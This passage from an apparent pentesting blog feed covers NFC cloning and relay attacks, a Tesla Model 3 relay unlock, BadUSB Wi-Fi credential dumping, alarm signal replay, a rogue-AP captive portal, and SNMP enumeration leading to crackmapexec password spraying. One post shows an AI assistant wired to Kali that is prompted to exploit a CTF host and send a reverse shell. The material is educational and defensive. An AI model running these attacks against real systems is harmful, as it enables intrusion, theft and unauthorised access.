would otherwise require more advanced hardware or software setups. Some of the key NFC-related functionalities it offers include:</p><ul><li><strong>Reading NFC data: </strong>Quickly scan and analyze NFC tags to extract useful information.</li><li><strong>Cloning NFC cards: </strong>Copy certain types of NFC cards for testing access control systems or identifying security weaknesses.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FTlrAVM9KyudGav0kESilQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*o6CcugWqO32hHD7RqXonOg.png" /></figure><p>Thanks to its user-friendly interface and built-in features, Flipper Zero is a great starting point for penetration testers who want to explore NFC security with minimal setup. While it has its limitations, it serves as an excellent entry-level tool before diving into more advanced techniques.</p><h3>Level 1: Useful mobile applications (Android)</h3><p>There are several useful mobile applications that can assist in NFC security assessments. Personally, the ones I’ve found most valuable are <strong>NFC Tools</strong> (both the free and PRO versions) and <strong>Lector de tarjetas NFC (EMV)</strong>.</p><ul><li><strong>NFC Tools (PRO): </strong>Allows reading, writing, and interacting with various NFC tags, making it a great tool for analyzing stored data and performing quick tests.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/295/1*lJ808-Oc6K6Vft_kBJyYrg.png" /></figure><ul><li><strong>Lector de tarjetas NFC (EMV): </strong>Specifically useful for reading EMV-based payment cards, extracting data, and analyzing their security.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/1*dB8oZuTlYZ_pTDDtV4tT7Q.png" /></figure><p>These apps provide an easy way to explore NFC data without requiring specialized hardware, making them a great addition to any pentester’s toolkit.</p><p><strong><em>Note:</em></strong><em> From this point forward, the scenarios become significantly more complex. Fully covering the installation and configuration of these tools would require dedicated articles for each. For now, we will highlight the most critical features, with the goal of deep-diving into individual setups in future posts.</em></p><h3>Level 2: Proxmark</h3><p>Proxmark requires a slightly more complex setup compared to the previous two cases, but in return, it offers greater capabilities that can be extremely useful when analyzing and attacking NFC.</p><p><strong>Advanced Sniffing:</strong> Proxmark can perform true “eavesdropping.” It sits between a card and a reader, capturing raw APDU command exchanges and subtle signal modulations.</p><p><strong>Cloning and Emulation:</strong> It can read the UID and data sectors of a tag and “dump” them onto “magic cards” (UID changeable tags). It also functions as a standalone emulator, mimicking a specific card.</p><p><strong>Cryptographic Cracking:</strong> It uses its dedicated FPGA to execute complex attacks (like Darkside, Nested, or Hardnested) to extract keys from encrypted chips, such as MIFARE Classic, in seconds.</p><p><strong>Brute Force and Key Recovery:</strong> It features built-in dictionaries and scripts to test thousands of known manufacturer keys. It can also perform brute-force attacks on authentication mechanisms that lack rate-limiting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*ld6K9LS50mK_6M9Ah7jktw.png" /></figure><p><strong>Reference:</strong></p><p><a href="https://github.com/rfidresearchgroup/proxmark3">GitHub - RfidResearchGroup/proxmark3: Iceman Fork - Proxmark3</a></p><h3>Level 3: NfcGate</h3><p>When discussing NfcGate, I want to highlight its capability to execute NFC Relay and NFC Replay attacks, which have been extremely useful for identifying and exploiting vulnerabilities in access control systems and payment systems.</p><p>Originally developed in 2015 by students at the Technical University of Darmstadt, NfcGate was a transparent tool for traffic analysis. However, its potential was weaponized by 2023. By early 2025, security analysts identified over 80 unique malware samples (like SuperCard X and RatOn) that integrated NfcGate’s core to drain bank accounts without physical access.</p><p><strong>Reference:</strong></p><p><a href="https://latam.kaspersky.com/blog/nfc-gate-relay-attacks-2026/28908/">Ataques directos e inversos mediante retransmisión NFC utilizados para robar dinero</a></p><p><strong>NFC Replay Attack:</strong></p><p>This technique involves capturing a legitimate NFC transaction and replaying it at a later time. For example, an attacker can record the communication between an NFC access card and a reader, then later transmit the same data to open a door without the original card.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*AXGkHr23k5j1DU359I40lg.png" /></figure><p><strong>NFC Relay Attack:</strong></p><p>This attack extends the range of NFC communications by forwarding signals between a legitimate NFC device and a remote attacker’s device. It effectively tricks the system into believing that the legitimate NFC card or phone is present, even when it is actually far away. <br>NFC Gate provides a practical and efficient way to execute these attacks in real-world scenarios, making it a powerful tool for penetration testing and security assessments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a9KSYW2o36yRR6vWv6efjw.png" /></figure><p><strong>Reference:</strong></p><p><a href="https://github.com/nfcgate/nfcgate">GitHub - nfcgate/nfcgate: An NFC research toolkit application for Android</a></p><p>To wrap up this level, I want to share a practical scenario where we utilized NfcGate to perform a relay attack against a Tesla Model 3.</p><p>Since the Model 3 uses NFC-based key cards as a access method, it is susceptible to the same distance-bridging vulnerabilities we discussed.</p><ol><li><strong>Attacker A</strong> stood near the vehicle’s B-pillar (the reader) with a smartphone1 (NFCGate1).</li><li><strong>Attacker B</strong> stayed near the owner (who had the key card in their pocket) with a smartphone2 (NFCGate2)</li><li>By establishing a real-time link through an intermediate server, we successfully “tricked” the car into thinking the owner was standing right next to it, unlocking the door.</li></ol><p><a href="https://rootripper.medium.com/hacking-a-tesla-model-3-via-nfc-relay-a-reminder-of-the-importance-of-nfc-card-security-306a49b0061f">Hacking a Tesla Model 3 via NFC Relay: A Reminder of the Importance of NFC Card Security</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FNMNZfrgEBGs%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DNMNZfrgEBGs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FNMNZfrgEBGs%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/7e1b6329363d10396aeafaba3ade7029/href">https://medium.com/media/7e1b6329363d10396aeafaba3ade7029/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5377ba9b1b2c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking + IA: Claude meets Kali Linux]]></title>
            <link>https://rootripper.medium.com/hacking-ia-claude-meets-kali-linux-ea88e0c308b3?source=rss-ec74363099f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/ea88e0c308b3</guid>
            <category><![CDATA[claude]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Jorge Bustos]]></dc:creator>
            <pubDate>Tue, 03 Mar 2026 07:32:10 GMT</pubDate>
            <atom:updated>2026-03-28T02:55:26.720Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article we will demonstrate how to set up an environment in which we can communicate with an AI in natural language and simply ask it to hack something for us, something that would have seemed impossible, or at least very distant, in the days when the main interface with computers was punch cards.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*pd4CGP09jTh5GwbpNIA08g.png" /></figure><h3>Things to Keep in Mind</h3><p>I believe it is important to mention a few considerations that, from my point of view, should be taken into account when starting to explore these types of tools:</p><ol><li>For advanced pentesting or red team exercises, using the tool as shown in this article can be unreliable and even risky. In these cases, a deeper level of involvement and more time would be required to adapt the tool to specific requirements.</li><li>We must stay informed and up-to-date on the risks we could be exposed to when using these types of tools (such as misconfigurations, CVEs, etc.).</li><li>Despite these points, I believe that becoming familiar with these tools and using them correctly can greatly enhance the results of our projects.</li></ol><h3>My Environment &amp; Setup</h3><p>My environment consists of a <strong>Mac Mini M4</strong> running <strong>macOS Sequoia 15.1</strong>, hosting a virtual instance of <strong>Kali Linux 2025.4</strong> through <strong>VMware Fusion</strong>.</p><p>Therefore, we can divide this into two simple parts:</p><ul><li><strong>Claude:</strong> Claude Desktop with Sonnet 4.6 (running on macOS).</li><li><strong>Kali:</strong> MCP server running on Kali Linux.</li></ul><p>Alright, it’s time to get hands-on. In the following sections, we will walk through the configuration of the MCP server on Kali Linux and how to link it with the Claude Desktop client on macOS. Let’s get started with the setup.</p><h3>Step 1: Preparing the Kali Linux Server</h3><ol><li><strong>Enable SSH access:</strong></li></ol><p>With our Kali Linux virtual machine installed and running, the next step is to enable SSH access. This is essential, as Claude will need a communication channel to interact with and control the virtual environment via the Model Context Protocol.</p><pre>systemctl start ssh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*aLxNJxO1M2hsiCfPWk1WAw.png" /><figcaption>KALI VM</figcaption></figure><ol><li><strong>Install the mcp-kali-server package.</strong></li></ol><p>Next, we will proceed by installing the kali-server-mcp package onto our virtual Kali Linux instance. This package is the core component that allows the Model Context Protocol to bridge our security tools with Claude.</p><pre>apt-get install kali-server-mcp</pre><h3>Step 2: Configuring Claude Desktop</h3><p><strong>Configuring SSH access between claude and kali.</strong></p><p>Now, let’s switch to our localhost (macOS). We will start by generating a pair of SSH keys; this will be the authentication method Claude uses to securely connect and communicate with our Kali Linux virtual machine.</p><pre>ssh-keygen -t ed25519 -C &quot;mac-kali&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*PKFb3wENGOQDd8Y3R8YFpA.png" /><figcaption>macOS host</figcaption></figure><p>Now we will take the public key that we just created and add it to the authorized_keys file for the Kali Linux user account that Claude will use for the connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*uhnmrjYspz_TXiYuYd_QsQ.png" /><figcaption>macOS host</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*xK7hSW-KgvwVpk-Wh18aGg.png" /><figcaption>KALI VM</figcaption></figure><p><strong>Download and install claude deskto</strong>p.</p><p><a href="https://claude.com/download">https://claude.com/download</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0GVOlApvAB2iZLN6VloYvw.png" /><figcaption>macOS host</figcaption></figure><p><strong>Configure claude_desktop_config.json.</strong></p><p>Finally, we will configure the claude_desktop_config.json file as follows, for the configuration described in this article, the file is located at ~/Library/Application Support/Claude:</p><pre>{<br>  &quot;mcpServers&quot;: {<br>    &quot;kali-server&quot;: {<br>      &quot;command&quot;: &quot;ssh&quot;,<br>      &quot;args&quot;: [<br>        &quot;[claudeuser]@[kali_server_IP]&quot;,<br>        &quot;python3&quot;,<br>        &quot;/usr/share/mcp-kali-server/mcp_server.py&quot;<br>      ]<br>    }<br>  },<br>  &quot;preferences&quot;: {<br>    &quot;coworkWebSearchEnabled&quot;: true,<br>    &quot;coworkScheduledTasksEnabled&quot;: false,<br>    &quot;sidebarMode&quot;: &quot;chat&quot;<br>  }<br>}</pre><p>Parameter Breakdown:</p><ul><li><strong>command (&quot;ssh&quot;):</strong> Tells Claude to use the SSH protocol to establish the connection.</li><li><strong>[claudeuser]@[kali_server_IP]:</strong> The remote credentials and IP address of your Kali Linux VM.</li><li><strong>python3:</strong> The interpreter needed to run the server on the remote machine.</li><li><strong>/usr/share/mcp-kali-server/mcp_server.py:</strong> The absolute path where the MCP server script is located inside Kali.</li><li><strong>preferences:</strong> Standard Claude Desktop settings to manage features like web search and UI layout.</li></ul><h3>Step 3: Launching the MCP Server and Claude Desktop</h3><p>At this point, the setup is complete. To bring everything online, follow these final steps:</p><p><strong>On your Kali VM Execute the server command: </strong>By default, this starts the service on port 5000.</p><pre>kali-server-mcp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*z371OghZPk4GGWjNLdhA7Q.png" /><figcaption>KALI VM</figcaption></figure><p><strong>On your macOS Host: Launch Claude Desktop.</strong></p><p>If the configuration was applied correctly, Claude will connect via SSH to Kali instance without errors. Now everything is ready to begin interacting with Kali directly from Claude’s interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*onQM_4dwirUENf2B0dBotg.png" /><figcaption>macOS host</figcaption></figure><h3>Step 4: Practical Demonstration</h3><p>For the final test, we will ask Claude to compromise one of the well-known entry-level scenario, widely used to demonstrate fundamental exploitation techniques and security workflows.</p><p>We provided the following instruction, and after a few minutes of automated reconnaissance and exploitation, we received a reverse shell.</p><p><strong>The Prompt:</strong></p><blockquote>“We’re in a CTF and need to compromise host 10.129.1.147. Exploit it and send a reverse shell to 10.10.14.66, where I already have a netcat listener on port 1337.”</blockquote><p><strong>The Result:</strong> Claude identified the vulnerability, executed the exploit via the MCP server, and successfully established the connection to our listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*xXEVyWp5bTDooqEIwzkXXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*XInjebM6lteljkwQQ0ZP7A.png" /></figure><h3>Final Thoughts</h3><p>This demonstration shows how AI can perform, with a single human-language instruction, what junior pentesters years ago — myself included — would celebrate as a major achievement and share with friends or on LinkedIn.</p><p>However, this remains a very simple demonstration. We are already living in a world where AI is being used to create autonomous agents capable of finding vulnerabilities in real-world bug bounty programs, or even agents related to major compromises made by real attackers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ea88e0c308b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking a Tesla Model 3 via NFC Relay: A Reminder of the Importance of NFC Card Security]]></title>
            <link>https://rootripper.medium.com/hacking-a-tesla-model-3-via-nfc-relay-a-reminder-of-the-importance-of-nfc-card-security-306a49b0061f?source=rss-ec74363099f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/306a49b0061f</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tesla]]></category>
            <category><![CDATA[nfc]]></category>
            <dc:creator><![CDATA[Jorge Bustos]]></dc:creator>
            <pubDate>Thu, 02 Jan 2025 23:13:36 GMT</pubDate>
            <atom:updated>2025-01-02T23:20:33.668Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h2_KGFpGhXlFf0XR0Y5MUQ.jpeg" /></figure><p>In this brief article, I want to share a demonstration I conducted with my colleague Omar Ramirez, showcasing how you can take advantage of the NFC technology of a Tesla Model 3 to achieve unauthorized access.</p><p>The attack involves capturing the signals emitted by Tesla’s NFC access card, forwarding them to an exposed server, and then replicating them on a mobile device. This process allows the phone to act as the original card, which, in a real-world scenario, could lead to unauthorized access or even vehicle theft.</p><h4>What’s the goal of this experiment?</h4><p>Beyond exposing a known technical vulnerability of NFC technology, our aim is to raise awareness about the importance of protecting NFC cards. This technology isn’t only used in vehicles but also in office access, mobile payments, and other critical applications.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FNMNZfrgEBGs%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fshorts%2FNMNZfrgEBGs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FNMNZfrgEBGs%2Fhq2.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/23fab5122d6f95b7ecd3885e6eff8b9a/href">https://medium.com/media/23fab5122d6f95b7ecd3885e6eff8b9a/href</a></iframe><h4>Attack Flow and references</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z-At7kC7H2pN7Gv8c_T5UA.png" /></figure><p><a href="https://github.com/nfcgate/nfcgate/blob/v2/doc/mode/Relay.md">https://github.com/nfcgate/nfcgate/blob/v2/doc/mode/Relay.md</a></p><h4>How to protect yourself:</h4><p>Be careful with your NFC cards or store them in RFID blockers to prevent remote signal capture.</p><p>While this type of attack requires technical preparation, it highlights how crucial it is to proactively secure our technologies. In an increasingly connected world, small oversights can lead to significant consequences.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=306a49b0061f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Flipper Zero in Action: Practical Use Cases with Examples]]></title>
            <link>https://rootripper.medium.com/flipper-zero-in-action-practical-use-cases-with-examples-d7619d3b56ee?source=rss-ec74363099f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7619d3b56ee</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[flipper-zero]]></category>
            <dc:creator><![CDATA[Jorge Bustos]]></dc:creator>
            <pubDate>Thu, 07 Nov 2024 06:27:12 GMT</pubDate>
            <atom:updated>2026-03-28T02:56:05.708Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, I’ll describe some practical use cases for the Flipper Zero that I’ve found useful or have personally used in real offensive security exercises.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*mXApqlUZQ-Y-rdsi7tMi4Q.png" /></figure><h3>1. BadUSB</h3><p>This is a well-known technique in the Red Team world, where we use the Flipper Zero as a “Rubber Ducky” device. Essentially, it allows us to execute a series of predefined keystrokes each time the Flipper Zero is connected and the attack is triggered.</p><p>For one particular demonstration, I prepared a script to display all stored Wi-Fi credentials on a Windows machine, showcasing just one of many possible applications. However, the options are numerous and highly customizable, depending on how far you want to take the attack.</p><p>Remember that the parameters and commands chosen here are demonstrative. For a real-world scenario, it’s essential to ensure the correct configuration and customization according to your specific objectives.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F37YKQY0Hc-s%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D37YKQY0Hc-s&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F37YKQY0Hc-s%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/9e3bd23a5bd67f2dd44a29bbe473a59c/href">https://medium.com/media/9e3bd23a5bd67f2dd44a29bbe473a59c/href</a></iframe><h3>2. <strong>NFC and Flipper Zero</strong></h3><p>One of the most popular uses for the Flipper Zero is its ability to work with NFC cards.</p><h4>NFC cloning with Flipper Zero</h4><p>With just a moment, the Flipper Zero can potentially clone an access card to your workplace, depending on the card’s specific characteristics and security mechanisms. This makes it a valuable tool for testing physical security and access control vulnerabilities, as the effectiveness of the cloning will vary with the level of protection built into each card type.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FfHD9cqUh6-8%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DfHD9cqUh6-8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FfHD9cqUh6-8%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5afd1d98145f4b63b3b44ed7b94c5b01/href">https://medium.com/media/5afd1d98145f4b63b3b44ed7b94c5b01/href</a></iframe><h4>NFC card simulation</h4><p>In addition to cloning, the Flipper Zero allows you to simulate NFC cards from scratch. This is particularly useful in scenarios where access systems validate only the card’s UID to grant or deny entry. With a known UID, the Flipper can simulate a card with that UID, eliminating the need to bring the Flipper close to the original card again to clone. This capability is especially valuable in environments with weaker access control configurations, as it enables quick and effective bypasses without repeated card access.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fm-k48F7U988%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dm-k48F7U988&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fm-k48F7U988%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f8256a55a48833a0dc2b13f969761ed8/href">https://medium.com/media/f8256a55a48833a0dc2b13f969761ed8/href</a></iframe><h3>3. Working with Sub-GHz signals</h3><p>The Flipper Zero allows us to intercept, store, and replicate Sub-GHz signals, which are used across a wide variety of systems.</p><h4>Frequency analyzer with Flipper Zero</h4><p>A great starting point for working with these signals on the Flipper Zero is the frequency analyzer tool. This tool enables us to identify key parameters of the signals we wish to analyze, which is essential for intercepting and retransmitting them accurately.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FNpVvlwM3TA8%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DNpVvlwM3TA8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FNpVvlwM3TA8%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/686d8b24a01562cbd231858dd41df118/href">https://medium.com/media/686d8b24a01562cbd231858dd41df118/href</a></iframe><h4>Disabling an Alarm System with Flipper Zero</h4><p>Now that we understand how to analyze signals, let’s walk through a brief example of how to clone signals from a basic alarm system.</p><p><strong>First part of the video:</strong></p><p>In the first step, you’ll see a demonstration of the alarm being triggered when it isn’t properly disarmed before opening the door.</p><p><strong>Second part of the video:</strong></p><p>You’ll see an example of how to adjust the parameters in the Flipper Zero’s “Read Raw” module, followed by a demonstration of how to accurately clone the alarm system’s activation and deactivation signals.</p><p><strong>Third part of the video:</strong></p><p>Finally, we’ll demonstrate how to retransmit the cloned signals using the Flipper Zero to successfully interact with the alarm system and disable it..</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FsbkOPwJzwCA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DsbkOPwJzwCA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FsbkOPwJzwCA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/092d89675a98be9842151f86163a92bb/href">https://medium.com/media/092d89675a98be9842151f86163a92bb/href</a></iframe><h3>4. Rogue AP + captive portal</h3><p>If you’re familiar with Wi-Fi penetration testing, this is another well-known technique. In this case, the Flipper Zero enables us to create a rogue Wi-Fi access point, where users who connect will be presented with a login page. If they enter credentials, we can capture them directly on the Flipper Zero.</p><p>It’s worth noting that this is the only use case here that requires additional hardware and software for the Flipper Zero. Specifically, we’ll need a Wi-Fi card (ESP32). I’m using one that comes integrated into a 3-in-1 expansion board, which can easily be found online.</p><p>By following the steps shown in the video below, you can set up this scenario in seconds. However, keep in mind that these types of attacks are highly customizable, and you’ll likely want to modify them in a real scenario to match the branding of your target organization.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F201O_rSirPM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D201O_rSirPM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F201O_rSirPM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/34ad09642c923a9c0828936be3af9d47/href">https://medium.com/media/34ad09642c923a9c0828936be3af9d47/href</a></iframe><p><strong>Final notes:</strong></p><p>In a future post, I plan to dive deeper into additional examples that involve using extra hardware and/or software with the Flipper Zero.</p><p><em>Board used: ESP32 (3-in-1 expansion board)</em></p><p><em>Firmware F0: Momentum 007</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7619d3b56ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Domain takedown through a UDP port: Why You shouldn’t overlook UDP ports in your penetration tests]]></title>
            <link>https://rootripper.medium.com/domain-takedown-through-a-udp-port-why-you-shouldnt-overlook-udp-ports-in-your-penetration-tests-ddee5848c99a?source=rss-ec74363099f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/ddee5848c99a</guid>
            <category><![CDATA[snmp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[udp]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Jorge Bustos]]></dc:creator>
            <pubDate>Wed, 23 Oct 2024 03:12:24 GMT</pubDate>
            <atom:updated>2026-03-28T02:55:51.684Z</atom:updated>
            <content:encoded><![CDATA[<p>In this short story, I’ll show you how an entire domain can be compromised due to a service exposed on a UDP port. This incident happened during a real penetration test I performed some time ago.</p><p>The goal here is not to demonstrate an advanced hacking technique, but rather to highlight how a chain of security vulnerabilities, starting with an open UDP port, can lead to complete domain compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*3v3kqlH875qAVrXVBn7oDA.png" /></figure><h3>The Beginning: Internal Network Penetration Test</h3><p>This story starts with an internal network penetration test. As usual, I began by scanning TCP ports. After identifying a few common services, I decided to run a UDP scan on the domain controller (DC).</p><p>The scan revealed that port <strong>161/UDP (SNMP)</strong> was exposed, allowing me to retrieve the default community name, <strong>“public.”</strong><br>You can perform this type of discovery using tools like the <strong>snmp-brute</strong> script from Nmap or any tool that brute-forces SNMP community strings.</p><p><strong>Command used:</strong></p><pre>nmap --script snmp-brute 192.168.X.X -p 161 -sU</pre><h3>Risk Analysis: Why This is a Security Issue</h3><p>The use of the <strong>“public”</strong> community string is a default configuration that many systems leave unchanged, granting unauthorized access to sensitive system information.</p><p>I recommend running Nmap with the <strong>-A</strong> flag to enumerate the SNMP service further, as this will trigger all available SNMP scripts in Nmap and extract additional system information.</p><p><strong>Command used:</strong></p><pre>nmap -A 192.168.X.X -p 161 -sU</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*frBJ1wvwLUdB8Ql2jft20Q.png" /><figcaption>Real scenario output (Software)</figcaption></figure><p>This scan provided me with key information about the system, such as installed software, running processes, open ports, and even domain users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*i5vsYabXt7PkHZazqCQR6Q.png" /><figcaption>Real scenario output (Users)</figcaption></figure><h3>Exploiting Weak Password Policies</h3><p>With the list of domain users in hand, I proceeded to perform a <strong>password spraying attack</strong> using <strong>crackmapexec</strong>, testing passwords in the format <strong>Companyname202X</strong> (a common pattern).</p><p><strong>Command used:</strong></p><pre>crackmapexec smb 192.168.X.X -u users.txt -p &#39;Company202X&#39; -d company.local --continue-on-success</pre><p>The second major security flaw came into play here: a weak password policy. This allowed me to compromise multiple user accounts, including one belonging to a <strong>Domain Admin</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JipBsUbwhPKPZxB7pTLhWQ.png" /><figcaption>Domain admin compromised</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*necVhPqT-KWFpelpPtAGPQ.png" /><figcaption>Some of the remaining compromised accounts</figcaption></figure><h3>Recommendations</h3><p>To prevent this type of compromise, I recommend the following:</p><ol><li><strong>Disable or restrict SNMP service access.</strong></li><li><strong>Change the default community string configuration</strong>.</li><li><strong>Implement a strong password policy</strong> and raise user awareness about the risks of weak passwords.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ddee5848c99a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>